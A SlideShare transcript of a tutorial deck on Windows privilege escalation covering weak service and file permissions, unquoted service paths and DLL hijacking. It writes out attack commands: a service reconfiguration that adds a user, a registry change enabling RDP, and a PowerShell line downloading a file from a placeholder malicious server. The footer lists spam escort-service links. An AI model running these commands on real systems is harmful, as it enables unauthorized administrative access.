SlideShare a Scribd company logo
1 of 16
1
Windows Advanced PE
Privilege
Escalation
2
Known CVE
Some Windows features can still be
vulnerable to patched CVEs because not
everyone follows the recommendations of
constantly keeping the system up to date.
Microsoft
When it comes to security, Microsoft has
taken the “patch away” approach. When
discovering a bug in the system, they will not
wait to release a new version; instead they
will release a patch for the existing system.
3rd Party
Other software, however, will be vulnerable
to known exploitations for longer periods of
time, and then will be more likely to be the
cause of a successful privilege escalation.
3
Windows Permissions
Windows Security Measures
Microsoft takes a lot of security measures trying to prevent and restrict access without permissions. However, life experience
has proven that people choose to disable and neglect these security measures, making their systems vulnerable to privilege
escalation. Wrong permission settings can affect files, services, and binaries.
Below are some of the measures:
TARGET DESCRIPTION
UAC A security infrastructure limiting any application to a standard user’s privileges until approved by an
administrator.
DAC A new feature introduced in server 2012 which allows administrators to customize authorization to server
resources.
ACL List of security protections that applies to a file, process, event or anything else having a security
descriptor.
File Permissions
Although programmers do their best to
protect against heap and buffer
overflows, network security and so on,
not many of them give much thought to
file permissions.
As a result, for every program installed,
a number of files are created with global
read/write permission.
Using accesschk.exe everyone -uqws
C:*.dll we can find all the DLLs with full
read/write permissions.
4
5
Service Permissions
Misconfigured Services
On Windows systems, services also have access control stating what a user can and cannot do. Setting the access controls
may prove difficult for some people. A misconfigured service can then allow the user to overwrite it, reconfigure its
permissions, and lead to the reconfiguration of the service itself.
Below are some of the measures:
PERMISSION RISK
SERVICE_CHANGE_CONFIG Alter the service’s binary causing to execute malicious commands
WRITE_DAC Change the service’s AC allowing us to access SERVICE_CHANGE_CONFIG
WRITE_OWNER Become the owner of the service, change its permissions and access
SERVICE_CHANGE_CONFIG
An example of such is sc config [servicename] binpath= “net user [username] [password] /add”. It is best if the service is set
to run as an administrator.
Remote PE
Most Windows PE techniques require
some “visual” hands on tampering that
cannot be performed with a remote
shell.
One option is to attempt to enable RDP
by adding a registry key with reg add
"HKEY_LOCAL_MACHINESYSTEMCurre
ntControlSetControlTerminal Server" /v
fDenyTSConnections /t REG_DWORD /d
0 /f
Another way to attempt to enable RDP is
to get a remote PowerShell which is
slightly more efficient.
6
7
Unquoted Services
Unquoted reminder
“C:Program FilesWindows Media Playerwmpnetwk.exe”
Remote PE
Unquoted services exploitation is among the few PE techniques which can be performed entirely with a remote shell. This
technique relies on services which were misconfigured and have a space in their name and no quotations. Such a thing will
cause Windows to search for the service binary by the path defined before the space.
Below is slightly more graphical explanation:
Missing
quotes
Missing
quotes
Acknowledged
path
Entire path
When starting unquoted service, Windows will look for C:Program.exe
Searching Unquoted Services
Searching for unquoted services can
easily be done by using a built-in tool
called wmic.
Executing wmic service get name,
pathname will result in a list of all
services on the system and their paths.
In the following example, it can be seen
that the service ‘WMPNetworkSvc’
contains a space in its path and lacks
quotation.
8
Unquoted Services Permissions
Unquoted services may be more
common than expected, but not all of
them can be targeted.
We’ll need to verify that we have
permission to write to the folder where
the service will be searched, and we
must choose a service with high
privileges.
To check the privileges on a service, we
can use wmic with the ‘startname’
option.
‘LoaclSystem’ is the equivalent of NT
Authority.
9
Creating the EXE
The next step is to create an exe that will
run when the service attempts to search
for ‘C:Program.exe’.
A useful tool for the task is ‘advanced
BAT to EXE converter’; this tool is used
to convert a batch script into an
executable.
10
Transferring the File
Downloading the malicious file over CLI
is possible using a bit of powershell:
powershell -Command "(New-Object
Net.WebClient).DownloadFile(‘[malicious
server]’, ‘[malicious file]’)“
For the sake of the example, we will
assume we have write permissions for
‘C:’ and put the file there.
11
Exploitation
The last part is to wait for the service to
run. If the service is started
automatically at startup, a reboot will
speed things up.
Notice that if the computer is a part of
the domain, password rules may apply.
Disclaimer: The ‘WMPNetworkSvc’ used
in the example is not the actual
Windows service; the real service is
quoted.
12
13
DLL Hijacking
DLL search order
DLLs are “dynamically linked libraries” with a purpose to share functions between applications. Because the DLL is an
external file, the application needs to search for it in the filesystem. Microsoft has specific rules for the search order.
Below is the search order:
PRIORITY LOCATION
1 The directory from which the application is loaded
2 The current directory
3 The system directory (C:WindowsSystem32)
4 The 16-bit system directory
5 The Windows directory
6 The directories that are listed in the PATH environment variable
Detecting Missing DLLs
By using a process monitor from the
sysinternal toolkit, we can watch all
system events.
In order to filter the view, so that only
missing dll logs will be displayed, two
filters need to be added:
• ‘result is name not found’
• ‘path ends with .dll’
The target DLLs for the attack should be
those being searched for in the
applications directory.
14
The Trick
Relying on the fact the DLL is being
searched for in a directory, and that it is
not found, is the key to the exploitation.
If we were to put a malicious DLL in the
place of the name being searched for,
our DLL will be selected instead of the
real one.
Malicious DLLs can be created with
different tools like ‘msfvenom’. The goal
is to try and find the application with the
highest privileges.
15
Result
When loaded into memory, DLLs are not
validated and are simply chosen by
name.
By putting a fake DLL in the application’s
directory and in the first place we search
for the DLL, we manage to spawn a cmd.
Although non-missing DLLs can be also
used, we risk crashing the application,
and the malicious DLL will require more
detailed preparation.
16

More Related Content

What's hot

10 resource kit remote administration tools
10 resource kit remote administration tools10 resource kit remote administration tools
10 resource kit remote administration toolsDuggesh Talawar
 
Sysinternals utilities : a brief introduction to
Sysinternals utilities : a brief introduction to Sysinternals utilities : a brief introduction to
Sysinternals utilities : a brief introduction to Akshay koshti
 
Handson1 6 federp
Handson1 6 federpHandson1 6 federp
Handson1 6 federpfederpmatc
 
Disabling windows file protection
Disabling windows file protectionDisabling windows file protection
Disabling windows file protectionJhonathansmrt Smart
 
Drupal, Memcache and Solr on Windows
Drupal, Memcache and Solr on WindowsDrupal, Memcache and Solr on Windows
Drupal, Memcache and Solr on WindowsAlessandro Pilotti
 
Guide to Windows 7 - Managing Disks
Guide to Windows 7 - Managing DisksGuide to Windows 7 - Managing Disks
Guide to Windows 7 - Managing DisksGene Carboni
 
Netresview
NetresviewNetresview
Netresviewpiramal
 
2nd lesson installing operating system
2nd lesson installing operating system2nd lesson installing operating system
2nd lesson installing operating systemRaiza Janelle
 
Installing 12c R1 database on oracle linux
Installing 12c R1 database on oracle linuxInstalling 12c R1 database on oracle linux
Installing 12c R1 database on oracle linuxAnar Godjaev
 
Windows Vista and Trust Worthy Computing
Windows Vista and Trust Worthy ComputingWindows Vista and Trust Worthy Computing
Windows Vista and Trust Worthy Computingsamavedam_vijay
 
IT103Microsoft Windows XP/OS Chap02
IT103Microsoft Windows XP/OS Chap02IT103Microsoft Windows XP/OS Chap02
IT103Microsoft Windows XP/OS Chap02blusmurfydot1
 

What's hot (17)

10 resource kit remote administration tools
10 resource kit remote administration tools10 resource kit remote administration tools
10 resource kit remote administration tools
 
Ch10
Ch10Ch10
Ch10
 
Sysinternals utilities : a brief introduction to
Sysinternals utilities : a brief introduction to Sysinternals utilities : a brief introduction to
Sysinternals utilities : a brief introduction to
 
Handson1 6 federp
Handson1 6 federpHandson1 6 federp
Handson1 6 federp
 
Disabling windows file protection
Disabling windows file protectionDisabling windows file protection
Disabling windows file protection
 
Drupal, Memcache and Solr on Windows
Drupal, Memcache and Solr on WindowsDrupal, Memcache and Solr on Windows
Drupal, Memcache and Solr on Windows
 
Linux
Linux Linux
Linux
 
Guide to Windows 7 - Managing Disks
Guide to Windows 7 - Managing DisksGuide to Windows 7 - Managing Disks
Guide to Windows 7 - Managing Disks
 
Netresview
NetresviewNetresview
Netresview
 
2nd lesson installing operating system
2nd lesson installing operating system2nd lesson installing operating system
2nd lesson installing operating system
 
Installing 12c R1 database on oracle linux
Installing 12c R1 database on oracle linuxInstalling 12c R1 database on oracle linux
Installing 12c R1 database on oracle linux
 
Windows server
Windows serverWindows server
Windows server
 
Fall of a domain | From local admin to Domain user hashes
Fall of a domain | From local admin to Domain user hashesFall of a domain | From local admin to Domain user hashes
Fall of a domain | From local admin to Domain user hashes
 
Ch04
Ch04Ch04
Ch04
 
Windows Vista and Trust Worthy Computing
Windows Vista and Trust Worthy ComputingWindows Vista and Trust Worthy Computing
Windows Vista and Trust Worthy Computing
 
Windows 10
Windows 10Windows 10
Windows 10
 
IT103Microsoft Windows XP/OS Chap02
IT103Microsoft Windows XP/OS Chap02IT103Microsoft Windows XP/OS Chap02
IT103Microsoft Windows XP/OS Chap02
 

Similar to Windows advanced

Implementing Active Directory and Information Security Audit also VAPT in Fin...
Implementing Active Directory and Information Security Audit also VAPT in Fin...Implementing Active Directory and Information Security Audit also VAPT in Fin...
Implementing Active Directory and Information Security Audit also VAPT in Fin...KajolPatel17
 
Intrusion Discovery on Windows
Intrusion Discovery on WindowsIntrusion Discovery on Windows
Intrusion Discovery on Windowsdkaya
 
0828 Windows Server 2008 新安全功能探討
0828 Windows Server 2008 新安全功能探討0828 Windows Server 2008 新安全功能探討
0828 Windows Server 2008 新安全功能探討Timothy Chen
 
Windows 7 Application Compatibility
Windows 7 Application CompatibilityWindows 7 Application Compatibility
Windows 7 Application Compatibilitymicham
 
CHAPTER 3 BASIC DYNAMIC ANALYSIS.ppt
CHAPTER 3 BASIC DYNAMIC ANALYSIS.pptCHAPTER 3 BASIC DYNAMIC ANALYSIS.ppt
CHAPTER 3 BASIC DYNAMIC ANALYSIS.pptManjuAppukuttan2
 
Authentication and Single Sing on
Authentication and Single Sing onAuthentication and Single Sing on
Authentication and Single Sing onguest648519
 
cloud computing preservity
cloud computing preservitycloud computing preservity
cloud computing preservitychennuruvishnu
 
Administrators manual
Administrators manualAdministrators manual
Administrators manualScrumDesk
 
Administrators manual
Administrators manualAdministrators manual
Administrators manualScrumDesk
 
Checking Windows for signs of compromise
Checking Windows for signs of compromiseChecking Windows for signs of compromise
Checking Windows for signs of compromiseCal Bryant
 
Securing Your Enterprise Web Apps with MongoDB Enterprise
Securing Your Enterprise Web Apps with MongoDB Enterprise Securing Your Enterprise Web Apps with MongoDB Enterprise
Securing Your Enterprise Web Apps with MongoDB Enterprise MongoDB
 
Control panel by
Control panel byControl panel by
Control panel byNoor Fatima
 
Start Up Austin 2017: Security Crash Course and Best Pratices
Start Up Austin 2017: Security Crash Course and Best PraticesStart Up Austin 2017: Security Crash Course and Best Pratices
Start Up Austin 2017: Security Crash Course and Best PraticesAmazon Web Services
 
Hunting for Privilege Escalation in Windows Environment
Hunting for Privilege Escalation in Windows EnvironmentHunting for Privilege Escalation in Windows Environment
Hunting for Privilege Escalation in Windows EnvironmentTeymur Kheirkhabarov
 
Assignment Content   Large Data, Inc., is an international.docx
Assignment Content   Large Data, Inc., is an international.docxAssignment Content   Large Data, Inc., is an international.docx
Assignment Content   Large Data, Inc., is an international.docxlesleyryder69361
 
Low Hanging Fruit, Making Your Basic MongoDB Installation More Secure
Low Hanging Fruit, Making Your Basic MongoDB Installation More SecureLow Hanging Fruit, Making Your Basic MongoDB Installation More Secure
Low Hanging Fruit, Making Your Basic MongoDB Installation More SecureMongoDB
 
Webappcontrol for Information Technology
Webappcontrol for Information TechnologyWebappcontrol for Information Technology
Webappcontrol for Information Technologytiwariparivaar24
 
Purple Teaming With Adversary Emulation.pdf
Purple Teaming With Adversary Emulation.pdfPurple Teaming With Adversary Emulation.pdf
Purple Teaming With Adversary Emulation.pdfprithaaash
 

Similar to Windows advanced (20)

Implementing Active Directory and Information Security Audit also VAPT in Fin...
Implementing Active Directory and Information Security Audit also VAPT in Fin...Implementing Active Directory and Information Security Audit also VAPT in Fin...
Implementing Active Directory and Information Security Audit also VAPT in Fin...
 
Intrusion Discovery on Windows
Intrusion Discovery on WindowsIntrusion Discovery on Windows
Intrusion Discovery on Windows
 
0828 Windows Server 2008 新安全功能探討
0828 Windows Server 2008 新安全功能探討0828 Windows Server 2008 新安全功能探討
0828 Windows Server 2008 新安全功能探討
 
Windows 7 Application Compatibility
Windows 7 Application CompatibilityWindows 7 Application Compatibility
Windows 7 Application Compatibility
 
CHAPTER 3 BASIC DYNAMIC ANALYSIS.ppt
CHAPTER 3 BASIC DYNAMIC ANALYSIS.pptCHAPTER 3 BASIC DYNAMIC ANALYSIS.ppt
CHAPTER 3 BASIC DYNAMIC ANALYSIS.ppt
 
Authentication and Single Sing on
Authentication and Single Sing onAuthentication and Single Sing on
Authentication and Single Sing on
 
cloud computing preservity
cloud computing preservitycloud computing preservity
cloud computing preservity
 
John
JohnJohn
John
 
Administrators manual
Administrators manualAdministrators manual
Administrators manual
 
Administrators manual
Administrators manualAdministrators manual
Administrators manual
 
Checking Windows for signs of compromise
Checking Windows for signs of compromiseChecking Windows for signs of compromise
Checking Windows for signs of compromise
 
Securing Your Enterprise Web Apps with MongoDB Enterprise
Securing Your Enterprise Web Apps with MongoDB Enterprise Securing Your Enterprise Web Apps with MongoDB Enterprise
Securing Your Enterprise Web Apps with MongoDB Enterprise
 
Control panel by
Control panel byControl panel by
Control panel by
 
Start Up Austin 2017: Security Crash Course and Best Pratices
Start Up Austin 2017: Security Crash Course and Best PraticesStart Up Austin 2017: Security Crash Course and Best Pratices
Start Up Austin 2017: Security Crash Course and Best Pratices
 
Hunting for Privilege Escalation in Windows Environment
Hunting for Privilege Escalation in Windows EnvironmentHunting for Privilege Escalation in Windows Environment
Hunting for Privilege Escalation in Windows Environment
 
Testing UAC on Windows 10
Testing UAC on Windows 10Testing UAC on Windows 10
Testing UAC on Windows 10
 
Assignment Content   Large Data, Inc., is an international.docx
Assignment Content   Large Data, Inc., is an international.docxAssignment Content   Large Data, Inc., is an international.docx
Assignment Content   Large Data, Inc., is an international.docx
 
Low Hanging Fruit, Making Your Basic MongoDB Installation More Secure
Low Hanging Fruit, Making Your Basic MongoDB Installation More SecureLow Hanging Fruit, Making Your Basic MongoDB Installation More Secure
Low Hanging Fruit, Making Your Basic MongoDB Installation More Secure
 
Webappcontrol for Information Technology
Webappcontrol for Information TechnologyWebappcontrol for Information Technology
Webappcontrol for Information Technology
 
Purple Teaming With Adversary Emulation.pdf
Purple Teaming With Adversary Emulation.pdfPurple Teaming With Adversary Emulation.pdf
Purple Teaming With Adversary Emulation.pdf
 

More from yarden hanan

Introduction to malware analysis & reverse engineering
Introduction to malware analysis & reverse engineeringIntroduction to malware analysis & reverse engineering
Introduction to malware analysis & reverse engineeringyarden hanan
 
Android Package tool
Android Package toolAndroid Package tool
Android Package toolyarden hanan
 
Introduction to malware analysis & reverse engineering
Introduction to malware analysis & reverse engineeringIntroduction to malware analysis & reverse engineering
Introduction to malware analysis & reverse engineeringyarden hanan
 
Introduction To Malware Analysis & Reverse Engineering
Introduction To Malware Analysis & Reverse EngineeringIntroduction To Malware Analysis & Reverse Engineering
Introduction To Malware Analysis & Reverse Engineeringyarden hanan
 
File windows local
File windows localFile windows local
File windows localyarden hanan
 

More from yarden hanan (11)

Introduction to malware analysis & reverse engineering
Introduction to malware analysis & reverse engineeringIntroduction to malware analysis & reverse engineering
Introduction to malware analysis & reverse engineering
 
SSL Pinning
SSL PinningSSL Pinning
SSL Pinning
 
Mobile SF
Mobile SFMobile SF
Mobile SF
 
iOS Jail break
iOS Jail breakiOS Jail break
iOS Jail break
 
Ios vs android
Ios vs androidIos vs android
Ios vs android
 
Android Package tool
Android Package toolAndroid Package tool
Android Package tool
 
Android package
Android packageAndroid package
Android package
 
Adb
AdbAdb
Adb
 
Introduction to malware analysis & reverse engineering
Introduction to malware analysis & reverse engineeringIntroduction to malware analysis & reverse engineering
Introduction to malware analysis & reverse engineering
 
Introduction To Malware Analysis & Reverse Engineering
Introduction To Malware Analysis & Reverse EngineeringIntroduction To Malware Analysis & Reverse Engineering
Introduction To Malware Analysis & Reverse Engineering
 
File windows local
File windows localFile windows local
File windows local
 

Recently uploaded

VIP High Profile Call Girls Jamshedpur Aarushi 8250192130 Independent Escort ...
VIP High Profile Call Girls Jamshedpur Aarushi 8250192130 Independent Escort ...VIP High Profile Call Girls Jamshedpur Aarushi 8250192130 Independent Escort ...
VIP High Profile Call Girls Jamshedpur Aarushi 8250192130 Independent Escort ...Suhani Kapoor
 
Dubai Call Girls Naija O525547819 Call Girls In Dubai Home Made
Dubai Call Girls Naija O525547819 Call Girls In Dubai Home MadeDubai Call Girls Naija O525547819 Call Girls In Dubai Home Made
Dubai Call Girls Naija O525547819 Call Girls In Dubai Home Madekojalkojal131
 
Call Girls In Bhikaji Cama Place 24/7✡️9711147426✡️ Escorts Service
Call Girls In Bhikaji Cama Place 24/7✡️9711147426✡️ Escorts ServiceCall Girls In Bhikaji Cama Place 24/7✡️9711147426✡️ Escorts Service
Call Girls In Bhikaji Cama Place 24/7✡️9711147426✡️ Escorts Servicejennyeacort
 
Storytelling, Ethics and Workflow in Documentary Photography
Storytelling, Ethics and Workflow in Documentary PhotographyStorytelling, Ethics and Workflow in Documentary Photography
Storytelling, Ethics and Workflow in Documentary PhotographyOrtega Alikwe
 
(Call Girls) in Lucknow Real photos of Female Escorts 👩🏼‍❤️‍💋‍👩🏻 8923113531 ➝...
(Call Girls) in Lucknow Real photos of Female Escorts 👩🏼‍❤️‍💋‍👩🏻 8923113531 ➝...(Call Girls) in Lucknow Real photos of Female Escorts 👩🏼‍❤️‍💋‍👩🏻 8923113531 ➝...
(Call Girls) in Lucknow Real photos of Female Escorts 👩🏼‍❤️‍💋‍👩🏻 8923113531 ➝...gurkirankumar98700
 
VIP Russian Call Girls in Bhilai Deepika 8250192130 Independent Escort Servic...
VIP Russian Call Girls in Bhilai Deepika 8250192130 Independent Escort Servic...VIP Russian Call Girls in Bhilai Deepika 8250192130 Independent Escort Servic...
VIP Russian Call Girls in Bhilai Deepika 8250192130 Independent Escort Servic...Suhani Kapoor
 
定制(UOIT学位证)加拿大安大略理工大学毕业证成绩单原版一比一
 定制(UOIT学位证)加拿大安大略理工大学毕业证成绩单原版一比一 定制(UOIT学位证)加拿大安大略理工大学毕业证成绩单原版一比一
定制(UOIT学位证)加拿大安大略理工大学毕业证成绩单原版一比一Fs sss
 
VIP Call Girls Firozabad Aaradhya 8250192130 Independent Escort Service Firoz...
VIP Call Girls Firozabad Aaradhya 8250192130 Independent Escort Service Firoz...VIP Call Girls Firozabad Aaradhya 8250192130 Independent Escort Service Firoz...
VIP Call Girls Firozabad Aaradhya 8250192130 Independent Escort Service Firoz...Suhani Kapoor
 
Gurgaon Call Girls: Free Delivery 24x7 at Your Doorstep G.G.N = 8377087607
Gurgaon Call Girls: Free Delivery 24x7 at Your Doorstep G.G.N = 8377087607Gurgaon Call Girls: Free Delivery 24x7 at Your Doorstep G.G.N = 8377087607
Gurgaon Call Girls: Free Delivery 24x7 at Your Doorstep G.G.N = 8377087607dollysharma2066
 
Ioannis Tzachristas Self-Presentation for MBA.pdf
Ioannis Tzachristas Self-Presentation for MBA.pdfIoannis Tzachristas Self-Presentation for MBA.pdf
Ioannis Tzachristas Self-Presentation for MBA.pdfjtzach
 
VIP Call Girls Service Saharanpur Aishwarya 8250192130 Independent Escort Ser...
VIP Call Girls Service Saharanpur Aishwarya 8250192130 Independent Escort Ser...VIP Call Girls Service Saharanpur Aishwarya 8250192130 Independent Escort Ser...
VIP Call Girls Service Saharanpur Aishwarya 8250192130 Independent Escort Ser...Suhani Kapoor
 
VIP Russian Call Girls Amravati Chhaya 8250192130 Independent Escort Service ...
VIP Russian Call Girls Amravati Chhaya 8250192130 Independent Escort Service ...VIP Russian Call Girls Amravati Chhaya 8250192130 Independent Escort Service ...
VIP Russian Call Girls Amravati Chhaya 8250192130 Independent Escort Service ...Suhani Kapoor
 
Low Rate Call Girls Gorakhpur Anika 8250192130 Independent Escort Service Gor...
Low Rate Call Girls Gorakhpur Anika 8250192130 Independent Escort Service Gor...Low Rate Call Girls Gorakhpur Anika 8250192130 Independent Escort Service Gor...
Low Rate Call Girls Gorakhpur Anika 8250192130 Independent Escort Service Gor...Suhani Kapoor
 
PM Job Search Council Info Session - PMI Silver Spring Chapter
PM Job Search Council Info Session - PMI Silver Spring ChapterPM Job Search Council Info Session - PMI Silver Spring Chapter
PM Job Search Council Info Session - PMI Silver Spring ChapterHector Del Castillo, CPM, CPMM
 
Sonam +91-9537192988-Mind-blowing skills and techniques of Ahmedabad Call Girls
Sonam +91-9537192988-Mind-blowing skills and techniques of Ahmedabad Call GirlsSonam +91-9537192988-Mind-blowing skills and techniques of Ahmedabad Call Girls
Sonam +91-9537192988-Mind-blowing skills and techniques of Ahmedabad Call GirlsNiya Khan
 
VIP Call Girls Service Jamshedpur Aishwarya 8250192130 Independent Escort Ser...
VIP Call Girls Service Jamshedpur Aishwarya 8250192130 Independent Escort Ser...VIP Call Girls Service Jamshedpur Aishwarya 8250192130 Independent Escort Ser...
VIP Call Girls Service Jamshedpur Aishwarya 8250192130 Independent Escort Ser...Suhani Kapoor
 
NPPE STUDY GUIDE - NOV2021_study_104040.pdf
NPPE STUDY GUIDE - NOV2021_study_104040.pdfNPPE STUDY GUIDE - NOV2021_study_104040.pdf
NPPE STUDY GUIDE - NOV2021_study_104040.pdfDivyeshPatel234692
 
定制(Waikato毕业证书)新西兰怀卡托大学毕业证成绩单原版一比一
定制(Waikato毕业证书)新西兰怀卡托大学毕业证成绩单原版一比一定制(Waikato毕业证书)新西兰怀卡托大学毕业证成绩单原版一比一
定制(Waikato毕业证书)新西兰怀卡托大学毕业证成绩单原版一比一Fs
 

Recently uploaded (20)

VIP High Profile Call Girls Jamshedpur Aarushi 8250192130 Independent Escort ...
VIP High Profile Call Girls Jamshedpur Aarushi 8250192130 Independent Escort ...VIP High Profile Call Girls Jamshedpur Aarushi 8250192130 Independent Escort ...
VIP High Profile Call Girls Jamshedpur Aarushi 8250192130 Independent Escort ...
 
Dubai Call Girls Naija O525547819 Call Girls In Dubai Home Made
Dubai Call Girls Naija O525547819 Call Girls In Dubai Home MadeDubai Call Girls Naija O525547819 Call Girls In Dubai Home Made
Dubai Call Girls Naija O525547819 Call Girls In Dubai Home Made
 
Call Girls In Bhikaji Cama Place 24/7✡️9711147426✡️ Escorts Service
Call Girls In Bhikaji Cama Place 24/7✡️9711147426✡️ Escorts ServiceCall Girls In Bhikaji Cama Place 24/7✡️9711147426✡️ Escorts Service
Call Girls In Bhikaji Cama Place 24/7✡️9711147426✡️ Escorts Service
 
Storytelling, Ethics and Workflow in Documentary Photography
Storytelling, Ethics and Workflow in Documentary PhotographyStorytelling, Ethics and Workflow in Documentary Photography
Storytelling, Ethics and Workflow in Documentary Photography
 
(Call Girls) in Lucknow Real photos of Female Escorts 👩🏼‍❤️‍💋‍👩🏻 8923113531 ➝...
(Call Girls) in Lucknow Real photos of Female Escorts 👩🏼‍❤️‍💋‍👩🏻 8923113531 ➝...(Call Girls) in Lucknow Real photos of Female Escorts 👩🏼‍❤️‍💋‍👩🏻 8923113531 ➝...
(Call Girls) in Lucknow Real photos of Female Escorts 👩🏼‍❤️‍💋‍👩🏻 8923113531 ➝...
 
VIP Russian Call Girls in Bhilai Deepika 8250192130 Independent Escort Servic...
VIP Russian Call Girls in Bhilai Deepika 8250192130 Independent Escort Servic...VIP Russian Call Girls in Bhilai Deepika 8250192130 Independent Escort Servic...
VIP Russian Call Girls in Bhilai Deepika 8250192130 Independent Escort Servic...
 
定制(UOIT学位证)加拿大安大略理工大学毕业证成绩单原版一比一
 定制(UOIT学位证)加拿大安大略理工大学毕业证成绩单原版一比一 定制(UOIT学位证)加拿大安大略理工大学毕业证成绩单原版一比一
定制(UOIT学位证)加拿大安大略理工大学毕业证成绩单原版一比一
 
Call Girls In Prashant Vihar꧁❤ 🔝 9953056974🔝❤꧂ Escort ServiCe
Call Girls In Prashant Vihar꧁❤ 🔝 9953056974🔝❤꧂ Escort ServiCeCall Girls In Prashant Vihar꧁❤ 🔝 9953056974🔝❤꧂ Escort ServiCe
Call Girls In Prashant Vihar꧁❤ 🔝 9953056974🔝❤꧂ Escort ServiCe
 
VIP Call Girls Firozabad Aaradhya 8250192130 Independent Escort Service Firoz...
VIP Call Girls Firozabad Aaradhya 8250192130 Independent Escort Service Firoz...VIP Call Girls Firozabad Aaradhya 8250192130 Independent Escort Service Firoz...
VIP Call Girls Firozabad Aaradhya 8250192130 Independent Escort Service Firoz...
 
Gurgaon Call Girls: Free Delivery 24x7 at Your Doorstep G.G.N = 8377087607
Gurgaon Call Girls: Free Delivery 24x7 at Your Doorstep G.G.N = 8377087607Gurgaon Call Girls: Free Delivery 24x7 at Your Doorstep G.G.N = 8377087607
Gurgaon Call Girls: Free Delivery 24x7 at Your Doorstep G.G.N = 8377087607
 
Ioannis Tzachristas Self-Presentation for MBA.pdf
Ioannis Tzachristas Self-Presentation for MBA.pdfIoannis Tzachristas Self-Presentation for MBA.pdf
Ioannis Tzachristas Self-Presentation for MBA.pdf
 
VIP Call Girls Service Saharanpur Aishwarya 8250192130 Independent Escort Ser...
VIP Call Girls Service Saharanpur Aishwarya 8250192130 Independent Escort Ser...VIP Call Girls Service Saharanpur Aishwarya 8250192130 Independent Escort Ser...
VIP Call Girls Service Saharanpur Aishwarya 8250192130 Independent Escort Ser...
 
VIP Russian Call Girls Amravati Chhaya 8250192130 Independent Escort Service ...
VIP Russian Call Girls Amravati Chhaya 8250192130 Independent Escort Service ...VIP Russian Call Girls Amravati Chhaya 8250192130 Independent Escort Service ...
VIP Russian Call Girls Amravati Chhaya 8250192130 Independent Escort Service ...
 
FULL ENJOY Call Girls In Gautam Nagar (Delhi) Call Us 9953056974
FULL ENJOY Call Girls In Gautam Nagar (Delhi) Call Us 9953056974FULL ENJOY Call Girls In Gautam Nagar (Delhi) Call Us 9953056974
FULL ENJOY Call Girls In Gautam Nagar (Delhi) Call Us 9953056974
 
Low Rate Call Girls Gorakhpur Anika 8250192130 Independent Escort Service Gor...
Low Rate Call Girls Gorakhpur Anika 8250192130 Independent Escort Service Gor...Low Rate Call Girls Gorakhpur Anika 8250192130 Independent Escort Service Gor...
Low Rate Call Girls Gorakhpur Anika 8250192130 Independent Escort Service Gor...
 
PM Job Search Council Info Session - PMI Silver Spring Chapter
PM Job Search Council Info Session - PMI Silver Spring ChapterPM Job Search Council Info Session - PMI Silver Spring Chapter
PM Job Search Council Info Session - PMI Silver Spring Chapter
 
Sonam +91-9537192988-Mind-blowing skills and techniques of Ahmedabad Call Girls
Sonam +91-9537192988-Mind-blowing skills and techniques of Ahmedabad Call GirlsSonam +91-9537192988-Mind-blowing skills and techniques of Ahmedabad Call Girls
Sonam +91-9537192988-Mind-blowing skills and techniques of Ahmedabad Call Girls
 
VIP Call Girls Service Jamshedpur Aishwarya 8250192130 Independent Escort Ser...
VIP Call Girls Service Jamshedpur Aishwarya 8250192130 Independent Escort Ser...VIP Call Girls Service Jamshedpur Aishwarya 8250192130 Independent Escort Ser...
VIP Call Girls Service Jamshedpur Aishwarya 8250192130 Independent Escort Ser...
 
NPPE STUDY GUIDE - NOV2021_study_104040.pdf
NPPE STUDY GUIDE - NOV2021_study_104040.pdfNPPE STUDY GUIDE - NOV2021_study_104040.pdf
NPPE STUDY GUIDE - NOV2021_study_104040.pdf
 
定制(Waikato毕业证书)新西兰怀卡托大学毕业证成绩单原版一比一
定制(Waikato毕业证书)新西兰怀卡托大学毕业证成绩单原版一比一定制(Waikato毕业证书)新西兰怀卡托大学毕业证成绩单原版一比一
定制(Waikato毕业证书)新西兰怀卡托大学毕业证成绩单原版一比一
 

Windows advanced

  • 2. 2 Known CVE Some Windows features can still be vulnerable to patched CVEs because not everyone follows the recommendations of constantly keeping the system up to date. Microsoft When it comes to security, Microsoft has taken the “patch away” approach. When discovering a bug in the system, they will not wait to release a new version; instead they will release a patch for the existing system. 3rd Party Other software, however, will be vulnerable to known exploitations for longer periods of time, and then will be more likely to be the cause of a successful privilege escalation.
  • 3. 3 Windows Permissions Windows Security Measures Microsoft takes a lot of security measures trying to prevent and restrict access without permissions. However, life experience has proven that people choose to disable and neglect these security measures, making their systems vulnerable to privilege escalation. Wrong permission settings can affect files, services, and binaries. Below are some of the measures: TARGET DESCRIPTION UAC A security infrastructure limiting any application to a standard user’s privileges until approved by an administrator. DAC A new feature introduced in server 2012 which allows administrators to customize authorization to server resources. ACL List of security protections that applies to a file, process, event or anything else having a security descriptor.
  • 4. File Permissions Although programmers do their best to protect against heap and buffer overflows, network security and so on, not many of them give much thought to file permissions. As a result, for every program installed, a number of files are created with global read/write permission. Using accesschk.exe everyone -uqws C:*.dll we can find all the DLLs with full read/write permissions. 4
  • 5. 5 Service Permissions Misconfigured Services On Windows systems, services also have access control stating what a user can and cannot do. Setting the access controls may prove difficult for some people. A misconfigured service can then allow the user to overwrite it, reconfigure its permissions, and lead to the reconfiguration of the service itself. Below are some of the measures: PERMISSION RISK SERVICE_CHANGE_CONFIG Alter the service’s binary causing to execute malicious commands WRITE_DAC Change the service’s AC allowing us to access SERVICE_CHANGE_CONFIG WRITE_OWNER Become the owner of the service, change its permissions and access SERVICE_CHANGE_CONFIG An example of such is sc config [servicename] binpath= “net user [username] [password] /add”. It is best if the service is set to run as an administrator.
  • 6. Remote PE Most Windows PE techniques require some “visual” hands on tampering that cannot be performed with a remote shell. One option is to attempt to enable RDP by adding a registry key with reg add "HKEY_LOCAL_MACHINESYSTEMCurre ntControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f Another way to attempt to enable RDP is to get a remote PowerShell which is slightly more efficient. 6
  • 7. 7 Unquoted Services Unquoted reminder “C:Program FilesWindows Media Playerwmpnetwk.exe” Remote PE Unquoted services exploitation is among the few PE techniques which can be performed entirely with a remote shell. This technique relies on services which were misconfigured and have a space in their name and no quotations. Such a thing will cause Windows to search for the service binary by the path defined before the space. Below is slightly more graphical explanation: Missing quotes Missing quotes Acknowledged path Entire path When starting unquoted service, Windows will look for C:Program.exe
  • 8. Searching Unquoted Services Searching for unquoted services can easily be done by using a built-in tool called wmic. Executing wmic service get name, pathname will result in a list of all services on the system and their paths. In the following example, it can be seen that the service ‘WMPNetworkSvc’ contains a space in its path and lacks quotation. 8
